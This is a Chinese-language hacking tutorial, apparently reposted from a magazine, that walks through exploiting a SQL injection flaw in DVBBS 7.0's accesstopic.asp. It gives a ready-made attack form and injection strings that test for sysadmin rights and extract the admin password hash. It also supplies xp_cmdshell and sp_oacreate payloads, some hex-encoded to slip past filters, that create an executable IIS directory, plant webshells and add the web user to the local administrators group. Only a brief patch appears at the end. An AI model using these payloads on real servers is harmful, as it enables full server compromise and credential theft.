DVBBS7.0 ---幕后的微笑
2024-07-21 02:24:53
供稿:網(wǎng)友
本文來(lái)源于網(wǎng)頁(yè)設(shè)計(jì)愛(ài)好者web開(kāi)發(fā)社區(qū)http://www.html.org.cn收集整理,歡迎訪問(wèn)。動(dòng)網(wǎng)論壇7.0自從發(fā)布以來(lái)進(jìn)一步擴(kuò)大了其在asp論壇領(lǐng)域的聲譽(yù)和好評(píng),無(wú)論是在美工、性能、安全性和效率上都比上一個(gè)版本有了很大的進(jìn)步。在讀代碼的時(shí)候給我的唯一感覺(jué)就是——美。但是世上沒(méi)有不透風(fēng)的墻啊,代碼寫(xiě)得再嚴(yán)謹(jǐn)也是會(huì)有疏忽的時(shí)候。為了找出它的漏洞,我就像是大海撈針一樣在茫茫的代碼中尋覓,驀然回首那人卻在燈火闌珊處。請(qǐng)跟著我來(lái)看一看吧。第一篇 發(fā)現(xiàn)新大陸code 打開(kāi)accesstopic.asp文件,翻到第200-212行,內(nèi)容為:……sub freetopic()……for i=1 to request.form("announceid").countid=replace(request.form("announceid")(i),"'","")'刪除if request("actiontype")=2 thenset rs=dvbbs.execute("select rootid from "&dvbbs.nowusebbs&" where parentid=0 and announceid="&id)if not (rs.eof and rs.bof) thendvbbs.execute("delete from dv_topic where topicid="&rs(0))dvbbs.execute("delete from "& dvbbs.nowusebbs &" where rootid="&rs(0))foundid=rs(0)elsedvbbs.execute("delete from "&dvbbs.nowusebbs&" where announceid="&id)foundid=0end if……很明顯對(duì)request.form("announceid")的值只進(jìn)行了單引號(hào)的過(guò)濾,幸好在sql語(yǔ)句里面不是作為字符串使用,要不然就沒(méi)有玩的了。要想突破這個(gè)單引號(hào)的限制非常簡(jiǎn)單,只要把我們需要用到的字符串用sql encoder進(jìn)行轉(zhuǎn)換一下就可以直接使用了。其基本原理就是在mssql中自動(dòng)的將varbinary類型的數(shù)據(jù)轉(zhuǎn)換為varchar類型數(shù)據(jù),然而這一點(diǎn)在asp中一般是無(wú)法分辨出來(lái)的。在接下來(lái)的操作中涉及到字符串的部分為了便于理解,我保留了原文。在實(shí)際操作中請(qǐng)用sql encoder進(jìn)行轉(zhuǎn)換一下,除非特殊情況不作說(shuō)明。第二篇 動(dòng)網(wǎng)論壇的小鞋這個(gè)文件在動(dòng)網(wǎng)論壇中是各項(xiàng)用于待審核帖子的操作,發(fā)現(xiàn)漏洞的過(guò)程為刪除待審核帖子(request("actiontype")=2)。但是這項(xiàng)功能只有在開(kāi)放某一個(gè)版面的帖子審核功能的時(shí)候才可能用到,而且只有斑竹才能使用,其標(biāo)志變量為在數(shù)據(jù)中的dv_board.boardsetting列第4個(gè)數(shù)。由于此功能默認(rèn)是關(guān)閉的,大部分論壇也不會(huì)用到,所以將其評(píng)為低危險(xiǎn)程度的漏洞。在利用的時(shí)候我們可以想像得到access數(shù)據(jù)庫(kù)的功能低下,就仿佛是一個(gè)弱智一樣,也就沒(méi)有什么利用價(jià)值了,因此我只討論使用mssql數(shù)據(jù)庫(kù)的情況。你可能會(huì)想,既然如此不就可以利用報(bào)錯(cuò)得到管理員的密碼德md5密文了嗎,這可就錯(cuò)了。在論壇中每一個(gè)sql語(yǔ)句的執(zhí)行都是通過(guò)dvbbs.execute這個(gè)過(guò)程來(lái)實(shí)現(xiàn)的,相關(guān)代碼可以在inc/dv_clsmain.asp中找到,在這個(gè)過(guò)程中過(guò)濾了dv_admin關(guān)鍵字,起初的時(shí)候我還想過(guò)用特殊的方法去構(gòu)造語(yǔ)句,但是全部失敗,如果你有什么辦法成功了可別忘記告訴我啊。由于announceid是用request.form取得,再利用的時(shí)候就要構(gòu)造本地提交表單,其內(nèi)容為:code <form action="http://目標(biāo)服務(wù)器地址及相對(duì)路徑/accesstopic.asp?action=freetopic" method=post name=batch><input type=hidden value="修改為打開(kāi)審核功能版面的boardid值" name=boardid><input name="actiontype" value="2" type=hidden><textarea name="announceid" cols="100" rows="20" id="announceid"></textarea><input name=submit value="執(zhí)行" type=submit></form>只要在滿足上述條件的情況下,將表單中的值設(shè)置好之后就可以往下看了。第三篇 讓我們知道自己的權(quán)力在取得絕對(duì)路徑之前先要判斷當(dāng)前數(shù)據(jù)庫(kù)用戶的權(quán)限,這里就遇到了一個(gè)問(wèn)題,無(wú)論我們提交的語(yǔ)句是否成立,只要不產(chǎn)生錯(cuò)誤,返回的信息都是相同的。你可能已經(jīng)想到了,就是要將announceid的值設(shè)置為一個(gè)已經(jīng)存在的待審核帖子,在提交成功之后,如果這個(gè)帖子已經(jīng)被刪除就說(shuō)明我們的條件是正確的,否則就是錯(cuò)誤的。在這里為了方便,假設(shè)每次執(zhí)行都使用已經(jīng)存在的boardid=1帖子。由于在數(shù)據(jù)庫(kù)的所有權(quán)限中只有sysadmin才有利用價(jià)值,所以只需判斷他就可以了。打開(kāi)我們剛才構(gòu)造的那個(gè)表單,并在另外一個(gè)頁(yè)面中用該版版主賬號(hào)登陸,下面的操作都是在這種條件下完成的,因此不再提及。因此在textarea中填入:1 and 1=(select is_srvrolemember('sysadmin'))提交后根據(jù)上面提到的判斷條件就可知道結(jié)果了。同樣也可以利用這種方法來(lái)判斷是否存在xp_cmdshell存儲(chǔ)擴(kuò)展,提交語(yǔ)句為1 and 1=( select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell')如果沒(méi)有該權(quán)限的話就只能利用報(bào)錯(cuò)看一看前臺(tái)管理員的密碼了,需要提交的語(yǔ)句為:1 and 1=(select top 1 userpassword from dv_user where usergroupid=1)如果你想讓自己在論壇里面的權(quán)限得到提升的話就去破解這個(gè)md5密文吧——據(jù)說(shuō)非常困難。然而在具有sysadmin權(quán)限的情況下就相當(dāng)于得到了服務(wù)器的絕對(duì)控制權(quán)——在操作系統(tǒng)中以system權(quán)限執(zhí)行。接著往下看我是怎么利用該權(quán)限的吧。第四篇 尋找羅馬大路在第2004.3期上臭要飯的提到用xp_regread存儲(chǔ)擴(kuò)展讀取注冊(cè)表的方法來(lái)獲得web絕對(duì)路徑,但是經(jīng)過(guò)我的測(cè)試后發(fā)現(xiàn)這種方法只能得到web服務(wù)器安裝時(shí)的默認(rèn)路徑,如果管理員夠聰明的話肯定會(huì)進(jìn)行修改這個(gè)值的,那就會(huì)導(dǎo)致上傳asp木馬的失敗。我想你可能以體會(huì)到過(guò)這種情況吧。現(xiàn)在換個(gè)思路考慮,既然不能得到這個(gè)路徑,那就在服務(wù)器上用我們制定的路徑建一個(gè)虛擬目錄問(wèn)題不就迎刃而解了嗎?經(jīng)過(guò)我的測(cè)試提交下面的語(yǔ)句可以實(shí)現(xiàn)這個(gè)操作:1;exec('master.dbo.xp_cmdshell ''cscript c:/inetpub/adminscripts/mkwebdir.vbs -c localhost -w "1" -v "win","c:/winnt/"''')exec('master.dbo.xp_cmdshell ''cscript c:/inetpub/adminscripts/adsutil.vbs set w3svc/1/root/win/accessexecute true''')這樣就在默認(rèn)服務(wù)器下面建立了一個(gè)名為win的虛擬目錄,其絕對(duì)路徑為c:/winnt/,并且具有執(zhí)行動(dòng)態(tài)腳本的權(quán)限,關(guān)于mkwebdir.vbs和adsutil.vbs的使用方法可以參考微軟的msdn它比我講得明白。現(xiàn)在你可以通過(guò)訪問(wèn)http://www.sitename.com/win/來(lái)判斷是否創(chuàng)建成功:返回403錯(cuò)誤說(shuō)明創(chuàng)建成功,返回500錯(cuò)誤說(shuō)明創(chuàng)建失敗。你也許會(huì)發(fā)現(xiàn)一個(gè)問(wèn)題,在使用sql encoder編碼后提交語(yǔ)句沒(méi)有一次成功過(guò),難道語(yǔ)句有錯(cuò)誤嗎?但是如果你在查詢分析器內(nèi)測(cè)試的話他會(huì)成功地執(zhí)行,問(wèn)題出在數(shù)據(jù)類型轉(zhuǎn)換的問(wèn)題上。在mssql中exec函數(shù)不能進(jìn)行我們要求的這種數(shù)據(jù)類型轉(zhuǎn)換,因此需要一步另外的操作。正確的提交代碼為:code 1;declare @a nvarchar(255);select @a=0x6d00610073007400650072002e00640062006f002e00780070005f0063006d0064007300680065006c006c00200027006300730063007200690070007400200063003a005c0069006e00650074007000750062005c00610064006d0069006e0073006300720069007000740073005c006d006b007700650062006400690072002e0076006200730020002d00630020006c006f00630061006c0068006f007300740020002d007700200022003100220020002d00760020002200770069006e0022002c00220063003a005c00770069006e006e0074005c0022002700;exec(@a);select @a=0x6d00610073007400650072002e00640062006f002e00780070005f0063006d0064007300680065006c006c00200027006300730063007200690070007400200063003a005c0069006e00650074007000750062005c00610064006d0069006e0073006300720069007000740073002f006100640073007500740069006c002e0076006200730020007300650074002000770033007300760063002f0031002f0072006f006f0074002f00770069006e002f006100630063006500730073006500780065006300750074006500200074007200750065002700;exec(@a);首先聲明一個(gè)nvarchar(255)類型的變量,然后讓賦值運(yùn)算符去進(jìn)行數(shù)據(jù)類型的轉(zhuǎn)換。還有一點(diǎn)需要注意,在mssql中字符串內(nèi)部的單引號(hào)要用兩個(gè)單引號(hào),但是在我們使用sql encoder進(jìn)行編碼的時(shí)候一定要堅(jiān)持一個(gè)單引號(hào)的方針,執(zhí)行表達(dá)式不能轉(zhuǎn)換的數(shù)據(jù)類型交給賦值運(yùn)算符的政策。后面的代碼中基本上都要用到這種方法,所以為了靈活運(yùn)用一定要記住它。也許你會(huì)遇到服務(wù)器沒(méi)有xp_cmdshell的情況,而且這個(gè)時(shí)候還沒(méi)有取得web絕對(duì)路徑,建立webshell根本就無(wú)從談起。遇到這種情況也不要?dú)怵H,我們還有另外的一種方法可以完成這項(xiàng)操作。提交下面的語(yǔ)句:code 1;declare @o int;exec sp_oacreate 'wscript.shell',@o out;exec sp_oamethod @o,'run',null,'cscript c:/inetpub/adminscripts/mkwebdir.vbs -c localhost -w "1" -v "win","c:/winnt/"';exec sp_oacreate 'wscript.shell',@o out;exec sp_oamethod @o,'run',null,'cscript c:/inetpub/adminscripts/adsutil.vbs set w3svc/1/root/win/accessexecute true';至于數(shù)據(jù)類型轉(zhuǎn)換的問(wèn)題可以利用剛才提到的方法去解決。一般的時(shí)候管理員很少會(huì)注意到sp_oacreate和sp_oamethod這兩個(gè)存儲(chǔ)擴(kuò)展,你可以放心的去使用。現(xiàn)在通往羅馬的大陸就在我們的面前,那就讓我們跑起來(lái)吧!什么,你說(shuō)開(kāi)車更快點(diǎn)?第五篇 把跑車開(kāi)上大路知道了web絕對(duì)路徑以后,就可以寫(xiě)入webshell了,據(jù)我所知的有五種方法可以實(shí)現(xiàn):1. n.e.v.e.r的通過(guò)使用數(shù)據(jù)備份的方法,雖然有大量垃圾數(shù)據(jù)的產(chǎn)生,但是對(duì)權(quán)限的要求很低,具體可參考他的相關(guān)文章;2. czy的使用sp_makewebtask存儲(chǔ)擴(kuò)展導(dǎo)出表中數(shù)據(jù)的方法,附加的數(shù)據(jù)量很少而且避免了使用xp_cmdshell存儲(chǔ)擴(kuò)展的情況,這種方法我已經(jīng)在sp_makewebtask.txt給出詳細(xì)的代碼;3. 使用xp_cmdshell執(zhí)行批處理的方法,這種方法比較實(shí)用,沒(méi)有任何多于數(shù)據(jù)的寫(xiě)入問(wèn)題,在xp_cmdshell.txt文件中你可以找到詳細(xì)的內(nèi)容。可以用于只能連接服務(wù)器80端口的情況——如果有3389的話還用我說(shuō)嗎?4. 利用sp_oacreate和sp_oamethod這兩個(gè)存儲(chǔ)擴(kuò)展執(zhí)行批處理的方法,使用的條件與xp_cmdshell相同,由于這種方法與3中幾乎同出一轍就不再給出代碼了;5. 利用sp_oacreate和sp_oamethod這兩個(gè)存儲(chǔ)擴(kuò)展調(diào)用scripting.filesystemobject對(duì)象進(jìn)行文件的創(chuàng)建及寫(xiě)入操作,使用條件同上。在sp_oacreate&sp_oamethod.txt文件中有詳細(xì)的代碼。在上述方法中給出的webshell代碼均是修改自海洋頂端的cmd.asp,經(jīng)過(guò)簡(jiǎn)化之后僅余13行關(guān)鍵部分,詳細(xì)內(nèi)容見(jiàn)cmd.txt。你是怎么把車開(kāi)上路的就要看實(shí)際情況了,馬爺爺告訴我們要具體情況具體分析的嘛!第六篇 把安全帶系牢你肯定發(fā)現(xiàn)了在數(shù)據(jù)庫(kù)內(nèi)的system權(quán)限在建立webshell之后就成了guests權(quán)限,這不是造成浪費(fèi)了嗎!為了繼承勤儉節(jié)約的光榮傳統(tǒng),可以執(zhí)行下面的sql語(yǔ)句將浪費(fèi)降低到最低的程度:exec('master.dbo.xp_cmdshell ''net localgroup administrators iusr_''+host_name()+'' /add''')當(dāng)然通過(guò)sp_oacreate和sp_oamethod這兩個(gè)存儲(chǔ)擴(kuò)展執(zhí)行也可以,關(guān)鍵在于靈活運(yùn)用,因時(shí)制宜,因地制宜。你問(wèn)我接下來(lái)該干什么?我faint,你還是多買兩本黑防看一看吧,它會(huì)教你怎么做的。結(jié)束語(yǔ)其實(shí)這個(gè)漏洞的修補(bǔ)非常的簡(jiǎn)單,只要將代碼中的id=replace(request.form("announceid")(i),"'","")這一句改為下面的語(yǔ)句就可以了id= request.form("announceid")(i)if isnumeric(id) thenid=clng(id)elseid=0end if千萬(wàn)不要小看isnumeric函數(shù)的作用,修補(bǔ)漏洞可全靠它呢。俗話說(shuō)蓋一座大樓很困難,但是想拆掉它卻是很容易。如果想讓自己設(shè)計(jì)的建筑更加牢固,就要更加完備的設(shè)計(jì),即使細(xì)節(jié)的部分也不能放過(guò),以免由于疏忽而導(dǎo)致蟻穴叢生。對(duì)于軟件來(lái)說(shuō)就不僅僅是本身的坍塌了,有可能會(huì)帶來(lái)毀滅性的災(zāi)難,甚至于危及整個(gè)服務(wù)器和服務(wù)器